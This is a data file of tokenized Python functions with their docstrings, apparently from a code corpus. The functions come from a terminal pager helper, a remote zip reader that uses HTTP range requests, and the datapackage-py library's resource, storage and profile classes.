{"signature": "def lines2less(lines):", "body": "lines = iter(lines) <EOL>has_term = True<EOL>terminal_cols = <NUM_LIT:100><EOL>try:<EOL><INDENT>terminal_cols = terminal_size()<EOL><DEDENT>except:<EOL><INDENT>has_term = False<EOL><DEDENT>MAX_CAT_ROWS = <NUM_LIT:20>  <EOL>first_rows = list(itertools.islice(lines,<NUM_LIT:0>,MAX_CAT_ROWS))<EOL>wide = any(len(l) > terminal_cols for l in first_rows)<EOL>use_less = False<EOL>if has_term and (wide or len(first_rows) == MAX_CAT_ROWS):<EOL><INDENT>use_less = True<EOL><DEDENT>lines = itertools.chain(first_rows, lines)<EOL>lines = six.moves.map(lambda x: x + '<STR_LIT:\\n>', lines)<EOL>if use_less:<EOL><INDENT>lesspager(lines)<EOL><DEDENT>else:<EOL><INDENT>for l in lines:<EOL><INDENT>sys.stdout.write(l)<EOL><DEDENT><DEDENT>", "docstring": "input: lines = list / iterator of strings\neg: lines = [\"This is the first line\", \"This is the second line\"]\n\noutput: print those lines to stdout if the output is short + narrow\n        otherwise print the lines to less", "id": "f7536:m19"}
{"signature": "def lesspager(lines):", "body": "cmd = \"<STR_LIT>\"<EOL>if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>import subprocess<EOL>proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE)<EOL>try:<EOL><INDENT>with io.TextIOWrapper(proc.stdin, errors='<STR_LIT>') as pipe:<EOL><INDENT>try:<EOL><INDENT>for l in lines:<EOL><INDENT>pipe.write(l)<EOL><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>except OSError:<EOL><INDENT>pass <EOL><DEDENT>while True:<EOL><INDENT>try:<EOL><INDENT>proc.wait()<EOL>break<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>proc = os.popen(cmd, '<STR_LIT:w>')<EOL>try:<EOL><INDENT>for l in lines:<EOL><INDENT>proc.write(l)<EOL><DEDENT><DEDENT>except IOError:<EOL><INDENT>proc.close()<EOL>sys.exit()<EOL><DEDENT><DEDENT>", "docstring": "Use for streaming writes to a less process\nTaken from pydoc.pipepager:\n/usr/lib/python2.7/pydoc.py\nand\n/usr/lib/python3.5/pydoc.py", "id": "f7536:m20"}
{"signature": "def argmax(l,f=None):", "body": "if f:<EOL><INDENT>l = [f(i) for i in l]<EOL><DEDENT>return max(enumerate(l), key=lambda x:x[<NUM_LIT:1>])[<NUM_LIT:0>]<EOL>", "docstring": "http://stackoverflow.com/questions/5098580/implementing-argmax-in-python", "id": "f7536:m21"}
{"signature": "def __init__(self, zipURI):", "body": "self.filesize = None<EOL>self.zipURI = zipURI<EOL>self.tableOfContents = None<EOL>self.request = None<EOL>self.start = None<EOL>self.end = None<EOL>self.directory_end = None<EOL>self.raw_bytes = None<EOL>self.directory_size = None<EOL>", "docstring": "zipURI should be an HTTP URL hosted on a server that supports ranged requests.\nThe init function will determine if the file exists and raise a urllib2 exception if not.", "id": "f7538:c0:m0"}
{"signature": "def getTableOfContents(self):", "body": "self.directory_size = self.getDirectorySize()<EOL>if self.directory_size > <NUM_LIT>:<EOL><INDENT>self.directory_size += <NUM_LIT:2><EOL>self.requestContentDirectory()<EOL><DEDENT>directory_start = unpack(\"<STR_LIT:i>\", self.raw_bytes[self.directory_end + <NUM_LIT:16>: self.directory_end + <NUM_LIT:20>])[<NUM_LIT:0>]<EOL>self.raw_bytes = self.raw_bytes<EOL>current_start = directory_start - self.start<EOL>filestart = <NUM_LIT:0><EOL>compressedsize = <NUM_LIT:0><EOL>tableOfContents = []<EOL>try:<EOL><INDENT>while True:<EOL><INDENT>zip_n = unpack(\"<STR_LIT:H>\", self.raw_bytes[current_start + <NUM_LIT>: current_start + <NUM_LIT> + <NUM_LIT:2>])[<NUM_LIT:0>]<EOL>zip_m = unpack(\"<STR_LIT:H>\", self.raw_bytes[current_start + <NUM_LIT:30>: current_start + <NUM_LIT:30> + <NUM_LIT:2>])[<NUM_LIT:0>]<EOL>zip_k = unpack(\"<STR_LIT:H>\", self.raw_bytes[current_start + <NUM_LIT:32>: current_start + <NUM_LIT:32> + <NUM_LIT:2>])[<NUM_LIT:0>]<EOL>filename = self.raw_bytes[current_start + <NUM_LIT>: current_start + <NUM_LIT> + zip_n]<EOL>filestart = unpack(\"<STR_LIT:I>\", self.raw_bytes[current_start + <NUM_LIT>: current_start + <NUM_LIT> + <NUM_LIT:4>])[<NUM_LIT:0>]<EOL>compressedsize = unpack(\"<STR_LIT:I>\", self.raw_bytes[current_start + <NUM_LIT:20>: current_start + <NUM_LIT:20> + <NUM_LIT:4>])[<NUM_LIT:0>]<EOL>uncompressedsize = unpack(\"<STR_LIT:I>\", self.raw_bytes[current_start + <NUM_LIT>: current_start + <NUM_LIT> + <NUM_LIT:4>])[<NUM_LIT:0>]<EOL>tableItem = {<EOL>'<STR_LIT:filename>': filename,<EOL>'<STR_LIT>': compressedsize,<EOL>'<STR_LIT>': uncompressedsize,<EOL>'<STR_LIT>': filestart<EOL>}<EOL>tableOfContents.append(tableItem)<EOL>current_start = current_start + <NUM_LIT> + zip_n + zip_m + zip_k<EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>self.tableOfContents = tableOfContents<EOL>return tableOfContents<EOL>", "docstring": "This function populates the internal tableOfContents list with the contents\nof the zip file TOC. If the server does not support ranged requests, this will raise\nand exception. It will also throw an exception if the TOC cannot be found.", "id": "f7538:c0:m4"}
{"signature": "def extractFile(self, filename):", "body": "files = [x for x in self.tableOfContents if x['<STR_LIT:filename>'] == filename]<EOL>if len(files) == <NUM_LIT:0>:<EOL><INDENT>raise FileNotFoundException()<EOL><DEDENT>fileRecord = files[<NUM_LIT:0>]<EOL>metaheadroom = <NUM_LIT>  <EOL>request = urllib.request.Request(self.zipURI)<EOL>start = fileRecord['<STR_LIT>']<EOL>end = fileRecord['<STR_LIT>'] + fileRecord['<STR_LIT>'] + metaheadroom<EOL>request.headers['<STR_LIT>'] = \"<STR_LIT>\" % (start, end)<EOL>handle = urllib.request.urlopen(request)<EOL>return_range = handle.headers.get('<STR_LIT>')<EOL>if return_range != \"<STR_LIT>\" % (start, end, self.filesize):<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>filedata = handle.read()<EOL>zip_n = unpack(\"<STR_LIT:H>\", filedata[<NUM_LIT>:<NUM_LIT>])[<NUM_LIT:0>]<EOL>zip_m = unpack(\"<STR_LIT:H>\", filedata[<NUM_LIT>:<NUM_LIT:30>])[<NUM_LIT:0>]<EOL>has_data_descriptor = bool(unpack(\"<STR_LIT:H>\", filedata[<NUM_LIT:6>:<NUM_LIT:8>])[<NUM_LIT:0>] & <NUM_LIT:8>)<EOL>comp_size = unpack(\"<STR_LIT:I>\", filedata[<NUM_LIT>:<NUM_LIT>])[<NUM_LIT:0>]<EOL>if comp_size == <NUM_LIT:0> and has_data_descriptor:<EOL><INDENT>comp_size = fileRecord['<STR_LIT>']<EOL><DEDENT>elif comp_size != fileRecord['<STR_LIT>']:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>raw_zip_data = filedata[<NUM_LIT:30> + zip_n + zip_m: <NUM_LIT:30> + zip_n + zip_m + comp_size]<EOL>uncompressed_data = \"<STR_LIT>\"<EOL>compression_method = unpack(\"<STR_LIT:H>\", filedata[<NUM_LIT:8>:<NUM_LIT:10>])[<NUM_LIT:0>]<EOL>if compression_method == <NUM_LIT:0>:<EOL><INDENT>return raw_zip_data<EOL><DEDENT>dec = zlib.decompressobj(-zlib.MAX_WBITS)<EOL>for chunk in raw_zip_data:<EOL><INDENT>rv = dec.decompress(chunk)<EOL>if rv:<EOL><INDENT>uncompressed_data = uncompressed_data + rv<EOL><DEDENT><DEDENT>return uncompressed_data<EOL>", "docstring": "This function will extract a single file from the remote zip without downloading\nthe entire zip file. The filename argument should match whatever is in the 'filename'\nkey of the tableOfContents.", "id": "f7538:c0:m5"}
{"signature": "def __init__(self, descriptor={}, base_path=None, strict=False, storage=None,<EOL>package=None, **options):", "body": "<EOL>if base_path is None:<EOL><INDENT>base_path = helpers.get_descriptor_base_path(descriptor)<EOL><DEDENT>if storage and not isinstance(storage, Storage):<EOL><INDENT>storage = Storage.connect(storage, **options)<EOL><DEDENT>descriptor = helpers.retrieve_descriptor(descriptor)<EOL>descriptor = helpers.dereference_resource_descriptor(descriptor, base_path)<EOL>if descriptor.get('<STR_LIT:url>'):<EOL><INDENT>warnings.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>descriptor['<STR_LIT:path>'] = descriptor['<STR_LIT:url>']<EOL>del descriptor['<STR_LIT:url>']<EOL><DEDENT>self.__current_descriptor = deepcopy(descriptor)<EOL>self.__next_descriptor = deepcopy(descriptor)<EOL>self.__base_path = base_path<EOL>self.__package = package<EOL>self.__storage = storage<EOL>self.__relations = None<EOL>self.__strict = strict<EOL>self.__table = None<EOL>self.__errors = []<EOL>self.__table_options = options<EOL>self.__build()<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m0"}
{"signature": "@property<EOL><INDENT>def valid(self):<DEDENT>", "body": "return not bool(self.__errors)<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m1"}
{"signature": "@property<EOL><INDENT>def errors(self):<DEDENT>", "body": "return self.__errors<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m2"}
{"signature": "@property<EOL><INDENT>def profile(self):<DEDENT>", "body": "return self.__profile<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m3"}
{"signature": "@property<EOL><INDENT>def descriptor(self):<DEDENT>", "body": "<EOL>return self.__next_descriptor<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m4"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return self.__current_descriptor.get('<STR_LIT:name>')<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m5"}
{"signature": "@property<EOL><INDENT>def inline(self):<DEDENT>", "body": "return self.__source_inspection.get('<STR_LIT>', False)<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m6"}
{"signature": "@property<EOL><INDENT>def local(self):<DEDENT>", "body": "return self.__source_inspection.get('<STR_LIT>', False)<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m7"}
{"signature": "@property<EOL><INDENT>def remote(self):<DEDENT>", "body": "return self.__source_inspection.get('<STR_LIT>', False)<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m8"}
{"signature": "@property<EOL><INDENT>def multipart(self):<DEDENT>", "body": "return self.__source_inspection.get('<STR_LIT>', False)<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m9"}
{"signature": "@property<EOL><INDENT>def tabular(self):<DEDENT>", "body": "if self.__current_descriptor.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>return True<EOL><DEDENT>if not self.__strict:<EOL><INDENT>if self.__current_descriptor.get('<STR_LIT>') in config.TABULAR_FORMATS:<EOL><INDENT>return True<EOL><DEDENT>if self.__source_inspection.get('<STR_LIT>', False):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m10"}
{"signature": "@property<EOL><INDENT>def source(self):<DEDENT>", "body": "return self.__source_inspection.get('<STR_LIT:source>')<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m11"}
{"signature": "@property<EOL><INDENT>def headers(self):<DEDENT>", "body": "if not self.tabular:<EOL><INDENT>return None<EOL><DEDENT>return self.__get_table().headers<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m12"}
{"signature": "@property<EOL><INDENT>def schema(self):<DEDENT>", "body": "if not self.tabular:<EOL><INDENT>return None<EOL><DEDENT>return self.__get_table().schema<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m13"}
{"signature": "def iter(self, relations=False, **options):", "body": "<EOL>if not self.tabular:<EOL><INDENT>message = '<STR_LIT>'<EOL>raise exceptions.DataPackageException(message)<EOL><DEDENT>if relations:<EOL><INDENT>relations = self.__get_relations()<EOL><DEDENT>return self.__get_table().iter(relations=relations, **options)<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m14"}
{"signature": "def read(self, relations=False, **options):", "body": "<EOL>if not self.tabular:<EOL><INDENT>message = '<STR_LIT>'<EOL>raise exceptions.DataPackageException(message)<EOL><DEDENT>if relations:<EOL><INDENT>relations = self.__get_relations()<EOL><DEDENT>return self.__get_table().read(relations=relations, **options)<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m15"}
{"signature": "def check_relations(self):", "body": "self.read(relations=True)<EOL>return True<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m16"}
{"signature": "def raw_iter(self, stream=False):", "body": "<EOL>if self.inline:<EOL><INDENT>message = '<STR_LIT>'<EOL>raise exceptions.DataPackageException(message)<EOL><DEDENT>if self.multipart:<EOL><INDENT>filelike = _MultipartSource(self.source, remote=self.remote)<EOL><DEDENT>elif self.remote:<EOL><INDENT>if self.__table_options.get('<STR_LIT>'):<EOL><INDENT>http_session = self.__table_options['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>http_session = requests.Session()<EOL>http_session.headers = config.HTTP_HEADERS<EOL><DEDENT>res = http_session.get(self.source, stream=True)<EOL>filelike = res.raw<EOL><DEDENT>else:<EOL><INDENT>filelike = io.open(self.source, '<STR_LIT:rb>')<EOL><DEDENT>return filelike<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m17"}
{"signature": "def raw_read(self):", "body": "contents = b'<STR_LIT>'<EOL>with self.raw_iter() as filelike:<EOL><INDENT>for chunk in filelike:<EOL><INDENT>contents += chunk<EOL><DEDENT><DEDENT>return contents<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m18"}
{"signature": "def infer(self, **options):", "body": "descriptor = deepcopy(self.__current_descriptor)<EOL>if self.__source_inspection.get('<STR_LIT:blank>'):<EOL><INDENT>return descriptor<EOL><DEDENT>if not descriptor.get('<STR_LIT:name>'):<EOL><INDENT>descriptor['<STR_LIT:name>'] = self.__source_inspection['<STR_LIT:name>']<EOL><DEDENT>if not self.inline and not self.__storage:<EOL><INDENT>if not descriptor.get('<STR_LIT>'):<EOL><INDENT>descriptor['<STR_LIT>'] = self.__source_inspection['<STR_LIT>']<EOL><DEDENT>if not descriptor.get('<STR_LIT>'):<EOL><INDENT>descriptor['<STR_LIT>'] = '<STR_LIT>' % descriptor['<STR_LIT>']<EOL><DEDENT>if not descriptor.get('<STR_LIT>'):<EOL><INDENT>contents = b'<STR_LIT>'<EOL>with self.raw_iter(stream=True) as stream:<EOL><INDENT>for chunk in stream:<EOL><INDENT>contents += chunk<EOL>if len(contents) > <NUM_LIT:1000>: break<EOL><DEDENT><DEDENT>encoding = cchardet.detect(contents)['<STR_LIT>']<EOL>if encoding is not None:<EOL><INDENT>encoding = encoding.lower()<EOL>descriptor['<STR_LIT>'] = '<STR_LIT:utf-8>' if encoding == '<STR_LIT:ascii>' else encoding<EOL><DEDENT><DEDENT><DEDENT>if not descriptor.get('<STR_LIT>'):<EOL><INDENT>if self.tabular:<EOL><INDENT>descriptor['<STR_LIT>'] = self.__get_table().infer(**options)<EOL><DEDENT><DEDENT>if descriptor.get('<STR_LIT>') == config.DEFAULT_RESOURCE_PROFILE:<EOL><INDENT>if self.tabular:<EOL><INDENT>descriptor['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT>self.__current_descriptor = descriptor<EOL>self.__build()<EOL>return descriptor<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m19"}
{"signature": "def commit(self, strict=None):", "body": "if strict is not None:<EOL><INDENT>self.__strict = strict<EOL><DEDENT>elif self.__current_descriptor == self.__next_descriptor:<EOL><INDENT>return False<EOL><DEDENT>self.__current_descriptor = deepcopy(self.__next_descriptor)<EOL>self.__table = None<EOL>self.__build()<EOL>return True<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m20"}
{"signature": "def save(self, target, storage=None, **options):", "body": "<EOL>if storage is not None:<EOL><INDENT>if self.tabular:<EOL><INDENT>self.infer()<EOL>storage.create(target, self.schema.descriptor, force=True)<EOL>storage.write(target, self.iter())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>mode = '<STR_LIT:w>'<EOL>encoding = '<STR_LIT:utf-8>'<EOL>if six.PY2:<EOL><INDENT>mode = '<STR_LIT:wb>'<EOL>encoding = None<EOL><DEDENT>helpers.ensure_dir(target)<EOL>with io.open(target, mode=mode, encoding=encoding) as file:<EOL><INDENT>json.dump(self.__current_descriptor, file, indent=<NUM_LIT:4>)<EOL><DEDENT><DEDENT>", "docstring": "https://github.com/frictionlessdata/datapackage-py#resource", "id": "f7552:c0:m21"}
{"signature": "@property<EOL><INDENT>def table(self):<DEDENT>", "body": "<EOL>warnings.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>return self.__get_table()<EOL>", "docstring": "Return resource table", "id": "f7552:c0:m25"}
{"signature": "@property<EOL><INDENT>def data(self):<DEDENT>", "body": "<EOL>warnings.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>return self.read(keyed=True)<EOL>", "docstring": "Return resource data", "id": "f7552:c0:m26"}
{"signature": "def push_datapackage(descriptor, backend, **backend_options):", "body": "<EOL>warnings.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>tables = []<EOL>schemas = []<EOL>datamap = {}<EOL>mapping = {}<EOL>model = Package(descriptor)<EOL>plugin = import_module('<STR_LIT>' % backend)<EOL>storage = plugin.Storage(**backend_options)<EOL>for resource in model.resources:<EOL><INDENT>if not resource.tabular:<EOL><INDENT>continue<EOL><DEDENT>name = resource.descriptor.get('<STR_LIT:name>', None)<EOL>table = _convert_path(resource.descriptor['<STR_LIT:path>'], name)<EOL>schema = resource.descriptor['<STR_LIT>']<EOL>data = resource.table.iter(keyed=True)<EOL>def values(schema, data):<EOL><INDENT>for item in data:<EOL><INDENT>row = []<EOL>for field in schema['<STR_LIT>']:<EOL><INDENT>row.append(item.get(field['<STR_LIT:name>'], None))<EOL><DEDENT>yield tuple(row)<EOL><DEDENT><DEDENT>tables.append(table)<EOL>schemas.append(schema)<EOL>datamap[table] = values(schema, data)<EOL>if name is not None:<EOL><INDENT>mapping[name] = table<EOL><DEDENT><DEDENT>schemas = _convert_schemas(mapping, schemas)<EOL>for table in tables:<EOL><INDENT>if table in storage.buckets:<EOL><INDENT>storage.delete(table)<EOL><DEDENT><DEDENT>storage.create(tables, schemas)<EOL>for table in storage.buckets:<EOL><INDENT>if table in datamap:<EOL><INDENT>storage.write(table, datamap[table])<EOL><DEDENT><DEDENT>return storage<EOL>", "docstring": "Push Data Package to storage.\n\n    All parameters should be used as keyword arguments.\n\n    Args:\n        descriptor (str): path to descriptor\n        backend (str): backend name like `sql` or `bigquery`\n        backend_options (dict): backend options mentioned in backend docs", "id": "f7553:m0"}
{"signature": "def pull_datapackage(descriptor, name, backend, **backend_options):", "body": "<EOL>warnings.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>datapackage_name = name<EOL>plugin = import_module('<STR_LIT>' % backend)<EOL>storage = plugin.Storage(**backend_options)<EOL>resources = []<EOL>for table in storage.buckets:<EOL><INDENT>schema = storage.describe(table)<EOL>base = os.path.dirname(descriptor)<EOL>path, name = _restore_path(table)<EOL>fullpath = os.path.join(base, path)<EOL>helpers.ensure_dir(fullpath)<EOL>with io.open(fullpath, '<STR_LIT:wb>') as file:<EOL><INDENT>model = Schema(deepcopy(schema))<EOL>data = storage.iter(table)<EOL>writer = csv.writer(file, encoding='<STR_LIT:utf-8>')<EOL>writer.writerow(model.headers)<EOL>for row in data:<EOL><INDENT>writer.writerow(row)<EOL><DEDENT><DEDENT>resource = {'<STR_LIT>': schema, '<STR_LIT:path>': path}<EOL>if name is not None:<EOL><INDENT>resource['<STR_LIT:name>'] = name<EOL><DEDENT>resources.append(resource)<EOL><DEDENT>mode = '<STR_LIT:w>'<EOL>encoding = '<STR_LIT:utf-8>'<EOL>if six.PY2:<EOL><INDENT>mode = '<STR_LIT:wb>'<EOL>encoding = None<EOL><DEDENT>resources = _restore_resources(resources)<EOL>helpers.ensure_dir(descriptor)<EOL>with io.open(descriptor,<EOL>mode=mode,<EOL>encoding=encoding) as file:<EOL><INDENT>descriptor = {<EOL>'<STR_LIT:name>': datapackage_name,<EOL>'<STR_LIT>': resources,<EOL>}<EOL>json.dump(descriptor, file, indent=<NUM_LIT:4>)<EOL><DEDENT>return storage<EOL>", "docstring": "Pull Data Package from storage.\n\n    All parameters should be used as keyword arguments.\n\n    Args:\n        descriptor (str): path where to store descriptor\n        name (str): name of the pulled datapackage\n        backend (str): backend name like `sql` or `bigquery`\n        backend_options (dict): backend options mentioned in backend docs", "id": "f7553:m1"}
{"signature": "def _convert_path(path, name):", "body": "table = os.path.splitext(path)[<NUM_LIT:0>]<EOL>table = table.replace(os.path.sep, '<STR_LIT>')<EOL>if name is not None:<EOL><INDENT>table = '<STR_LIT>'.join([table, name])<EOL><DEDENT>table = re.sub('<STR_LIT>', '<STR_LIT:_>', table)<EOL>table = table.lower()<EOL>return table<EOL>", "docstring": "Convert resource's path and name to storage's table name.\n\n    Args:\n        path (str): resource path\n        name (str): resource name\n\n    Returns:\n        str: table name", "id": "f7553:m2"}
{"signature": "def _restore_path(table):", "body": "name = None<EOL>splited = table.split('<STR_LIT>')<EOL>path = splited[<NUM_LIT:0>]<EOL>if len(splited) == <NUM_LIT:2>:<EOL><INDENT>name = splited[<NUM_LIT:1>]<EOL><DEDENT>path = path.replace('<STR_LIT>', os.path.sep)<EOL>path += '<STR_LIT>'<EOL>return path, name<EOL>", "docstring": "Restore resource's path and name from storage's table.\n\n    Args:\n        table (str): table name\n\n    Returns:\n        (str, str): resource path and name", "id": "f7553:m3"}
{"signature": "def _convert_schemas(mapping, schemas):", "body": "schemas = deepcopy(schemas)<EOL>for schema in schemas:<EOL><INDENT>for fk in schema.get('<STR_LIT>', []):<EOL><INDENT>resource = fk['<STR_LIT>']['<STR_LIT>']<EOL>if resource != '<STR_LIT>':<EOL><INDENT>if resource not in mapping:<EOL><INDENT>message = '<STR_LIT>'<EOL>message = message % (resource, fk)<EOL>raise ValueError(message)<EOL><DEDENT>fk['<STR_LIT>']['<STR_LIT>'] = mapping[resource]<EOL><DEDENT><DEDENT><DEDENT>return schemas<EOL>", "docstring": "Convert schemas to be compatible with storage schemas.\n\n    Foreign keys related operations.\n\n    Args:\n        mapping (dict): mapping between resource name and table name\n        schemas (list): schemas\n\n    Raises:\n        ValueError: if there is no resource\n            for some foreign key in given mapping\n\n    Returns:\n        list: converted schemas", "id": "f7553:m4"}
{"signature": "def _restore_resources(resources):", "body": "resources = deepcopy(resources)<EOL>for resource in resources:<EOL><INDENT>schema = resource['<STR_LIT>']<EOL>for fk in schema.get('<STR_LIT>', []):<EOL><INDENT>_, name = _restore_path(fk['<STR_LIT>']['<STR_LIT>'])<EOL>fk['<STR_LIT>']['<STR_LIT>'] = name<EOL><DEDENT><DEDENT>return resources<EOL>", "docstring": "Restore schemas from being compatible with storage schemas.\n\n    Foreign keys related operations.\n\n    Args:\n        list: resources from storage\n\n    Returns:\n        list: restored resources", "id": "f7553:m5"}
{"signature": "def __init__(self, profile):", "body": "self._name = profile<EOL>self._registry = self._load_registry()<EOL>self._schema = self._load_schema(profile, self._registry)<EOL>self._validator = self._load_validator(self._schema, self._registry)<EOL>self._check_schema()<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#schema", "id": "f7555:c0:m0"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return self._name<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#schema", "id": "f7555:c0:m1"}
{"signature": "@property<EOL><INDENT>def jsonschema(self):<DEDENT>", "body": "return self._schema<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#schema", "id": "f7555:c0:m2"}
{"signature": "def validate(self, descriptor):", "body": "<EOL>errors = []<EOL>for error in self._validator.iter_errors(descriptor):<EOL><INDENT>if isinstance(error, jsonschema.exceptions.ValidationError):<EOL><INDENT>message = str(error.message)<EOL>if six.PY2:<EOL><INDENT>message = message.replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>descriptor_path = '<STR_LIT:/>'.join(map(str, error.path))<EOL>profile_path = '<STR_LIT:/>'.join(map(str, error.schema_path))<EOL>error = exceptions.ValidationError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (message, descriptor_path, profile_path))<EOL><DEDENT>errors.append(error)<EOL><DEDENT>if errors:<EOL><INDENT>message = '<STR_LIT>' % len(errors)<EOL>raise exceptions.ValidationError(message, errors=errors)<EOL><DEDENT>return True<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#schema", "id": "f7555:c0:m3"}
{"signature": "def iter_errors(self, data):", "body": "<EOL>warnings.warn(<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>for error in self._validator.iter_errors(data):<EOL><INDENT>yield error<EOL><DEDENT>", "docstring": "Lazily yields each ValidationError for the received data dict.", "id": "f7555:c0:m11"}
{"signature": "def to_dict(self):", "body": "<EOL>warnings.warn(<EOL>'<STR_LIT>',<EOL>UserWarning)<EOL>return copy.deepcopy(self._schema)<EOL>", "docstring": "dict: Convert this :class:`.Schema` to dict.", "id": "f7555:c0:m12"}
{"signature": "def infer(pattern, base_path=None):", "body": "package = Package({}, base_path=base_path)<EOL>descriptor = package.infer(pattern)<EOL>return descriptor<EOL>", "docstring": "https://github.com/frictionlessdata/datapackage-py#infer", "id": "f7556:m0"}
{"signature": "def get_descriptor_base_path(descriptor):", "body": "<EOL>if isinstance(descriptor, six.string_types):<EOL><INDENT>if os.path.exists(descriptor):<EOL><INDENT>base_path = os.path.dirname(os.path.abspath(descriptor))<EOL><DEDENT>else:<EOL><INDENT>base_path = os.path.dirname(descriptor)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>base_path = '<STR_LIT:.>'<EOL><DEDENT>return base_path<EOL>", "docstring": "Get descriptor base path if string or return None.", "id": "f7558:m0"}
{"signature": "def retrieve_descriptor(descriptor):", "body": "the_descriptor = descriptor<EOL>if the_descriptor is None:<EOL><INDENT>the_descriptor = {}<EOL><DEDENT>if isinstance(the_descriptor, six.string_types):<EOL><INDENT>try:<EOL><INDENT>if os.path.isfile(the_descriptor):<EOL><INDENT>with open(the_descriptor, '<STR_LIT:r>') as f:<EOL><INDENT>the_descriptor = json.load(f)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>req = requests.get(the_descriptor)<EOL>req.raise_for_status()<EOL>req.encoding = '<STR_LIT:utf8>'<EOL>the_descriptor = req.json()<EOL><DEDENT><DEDENT>except (IOError, requests.exceptions.RequestException) as error:<EOL><INDENT>message = '<STR_LIT>' % descriptor<EOL>six.raise_from(exceptions.DataPackageException(message), error)<EOL><DEDENT>except ValueError as error:<EOL><INDENT>message = '<STR_LIT>' % (descriptor, error)<EOL>six.raise_from(exceptions.DataPackageException(message), error)<EOL><DEDENT><DEDENT>if hasattr(the_descriptor, '<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>the_descriptor = json.load(the_descriptor)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>six.raise_from(exceptions.DataPackageException(str(e)), e)<EOL><DEDENT><DEDENT>if not isinstance(the_descriptor, dict):<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise exceptions.DataPackageException(msg.format(type(the_descriptor).__name__))<EOL><DEDENT>return the_descriptor<EOL>", "docstring": "Retrieve descriptor.", "id": "f7558:m1"}
{"signature": "def dereference_package_descriptor(descriptor, base_path):", "body": "for resource in descriptor.get('<STR_LIT>', []):<EOL><INDENT>dereference_resource_descriptor(resource, base_path, descriptor)<EOL><DEDENT>return descriptor<EOL>", "docstring": "Dereference data package descriptor (IN-PLACE FOR NOW).", "id": "f7558:m2"}
